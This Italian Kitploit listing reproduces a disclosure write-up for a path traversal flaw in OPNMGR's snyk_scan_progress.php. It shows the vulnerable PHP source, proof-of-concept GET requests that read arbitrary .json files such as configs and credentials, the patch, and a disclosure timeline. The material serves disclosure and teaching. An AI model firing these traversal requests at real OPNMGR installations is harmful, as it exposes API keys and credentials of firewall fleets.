Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/kiwknr/cve-2026-103978
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebPenetration Testing
GitHubkiwknr/cve-2026-103978

CVE-2026-103978

Proof-of-concept e writeup per CVE-2026-103978, un path traversal non autenticato in snyk_scan_progress.php di OPNMGR che consente la lettura arbitraria di file .json.

Vedi Repository
11 giorno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-103978 - Path traversal non autenticato in OPNMGR

Lettura arbitraria di file .json, senza necessità di login. Trovato durante la lettura del sorgente di agit8or1/OPNMGR, un gestore di flotte OPNsense scritto in PHP.

CVECVE-2026-103978
AdvisoryGHSA-8x7v-vwpx-3wr7
ClasseCWE-22 (Path Traversal)
Authnessuna
CVSS v3.17.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS v4.08.7 High
Corretto inv3.10.0
CreditoKanarat Kaeothong (Axiom0x)

Il bug

snyk_scan_progress.php si trova nella web root e prende un scan_id direttamente dalla query string, lo incolla in un percorso di file e passa il risultato a file_get_contents(). Non c'è alcun include di autenticazione, nessun controllo di sessione, nessuna sanificazione del parametro.

<?php
header('Content-Type: application/json');
$scan_id = $_GET['scan_id'] ?? '';                  // unauthenticated, raw
if (empty($scan_id)) { echo json_encode(['error' => 'No scan ID provided']); exit; }

$progress_file = "/tmp/snyk_scan_{$scan_id}.json";  // string concat, nothing else
if (!file_exists($progress_file)) { echo json_encode(['error' => 'Scan not found']); exit; }

$progress_data = file_get_contents($progress_file);
echo $progress_data;                                // sent back to the caller

Ogni altro endpoint dell'applicazione include inc/bootstrap.php e chiama requireLogin() prima di fare qualsiasi cosa. Questo lo salta del tutto. Quindi scan_id è controllato dall'attaccante, finisce nel percorso verbatim, e il contenuto del file viene restituito nella risposta.

Una complicazione: il prefisso snyk_scan_ viene incollato a qualunque cosa si invii, quindi un payload che inizia con .. viene mangiato (snyk_scan_.. è solo un nome di file strano in /tmp). Serve prima un segmento usa e getta affinché il .. diventi effettivamente un salto alla directory superiore:

/tmp/snyk_scan_ + x/../../etc/passwd  ->  /tmp/snyk_scan_x/../../etc/passwd
                                       ->  /etc/passwd.json

Il .json finale è forzato dal codice e non esiste alcun trucco del null-byte nel PHP moderno, quindi si possono leggere solo file che terminano in .json. In un deployment PHP reale non è un gran limite. File di configurazione, chiavi degli account di servizio, auth.json di composer, credenziali cloud, la maggior parte della roba succosa è già .json.

PoC

GET /snyk_scan_progress.php?scan_id=x/../../var/www/opnsense/config
  -> returns /var/www/opnsense/config.json

GET /snyk_scan_progress.php?scan_id=x/../../../../etc/some_config
  -> walks to filesystem root, returns /etc/some_config.json

C'è una versione eseguibile in poc/poc.sh.

Impatto

Qualsiasi file che termina in .json che www-data può leggere, divulgato a chiunque possa raggiungere la pagina. Su una macchina che gestisce firewall OPNsense questo di solito significa chiavi API e credenziali.

Correzione

Aggiungere l'include di autenticazione che usa il resto dell'applicazione, e validare scan_id contro una allow-list rigida prima di costruire il percorso:

require_once __DIR__ . '/inc/bootstrap.php';
requireLogin();

$scan_id = $_GET['scan_id'] ?? '';
if (!preg_match('/^[A-Za-z0-9_-]{1,64}$/', $scan_id)) {
    http_response_code(400);
    echo json_encode(['error' => 'Invalid scan id']);
    exit;
}
$progress_file = '/tmp/snyk_scan_' . $scan_id . '.json';

Il maintainer ha rilasciato la correzione nella v3.10.0.

Timeline

  • 2026-07-24 trovato, confermata la risoluzione del percorso in locale
  • 2026-07-24 advisory privato al maintainer tramite GitHub Security
  • in seguito il maintainer ha preso atto e applicato la patch
  • 2026-10-02 il CNA di GitHub ha assegnato CVE-2026-103978

Riferimenti

  • Advisory: https://github.com/agit8or1/OPNMGR/security/advisories/GHSA-8x7v-vwpx-3wr7
  • Record CVE: https://www.cve.org/CVERecord?id=CVE-2026-103978
  • File interessato: https://github.com/agit8or1/OPNMGR/blob/main/snyk_scan_progress.php

Segnalato tramite divulgazione coordinata. La versione vulnerabile non è più la release corrente. Il writeup è qui per riferimento e apprendimento.

Scarica lo strumento